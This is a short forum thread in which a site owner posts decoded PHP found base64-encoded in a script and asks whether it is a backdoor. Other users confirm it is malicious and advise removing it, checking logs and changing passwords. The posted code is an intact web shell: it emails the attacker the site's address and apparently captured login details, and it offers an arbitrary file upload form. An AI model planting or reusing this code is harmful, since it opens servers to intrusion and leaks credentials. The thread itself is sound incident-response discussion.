Is this a backdoor code?

[catherinePHP]

I found this code which was encrypted in base64 in a php script:

$web = $_SERVER["HTTP_HOST"];
 $inj = $_SERVER["REQUEST_URI"];
 $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord:
".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars
($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP: 
";
 mail("bohr4u@gmail.com","Shell http://$web$inj", "$body");
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; }
else { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; }
}
?>

I'm not sure if it's a backdoor or not, can anyone clarify please?

[shlumph]

Yes, it is a malicious script.  It's sending email notifications to them to let them know the script made it onto your site.  And then they are using the form to upload files into your server, which are probably malicious.

 

If it was encrypted with base_64, that should be a huge red flag.

[catherinePHP]

Yes, it is a malicious script.  It's sending email notifications to them to let them know the script made it onto your site.  And then they are using the form to upload files into your server, which are probably malicious.

 

If it was encrypted with base_64, that should be a huge red flag.

 

Thanks for the quick reply.

[shlumph]

I hope you've removed it from your server.  I would also look for other base_64 encoded strings on your system(s), analyze all your logs, and find what, if any, files have been uploaded.

[Psycho]

And, change all passwords: ftp, database, etc.

[catherinePHP]

Thanks for the reply guys, I have removed it from my server and changed all passwords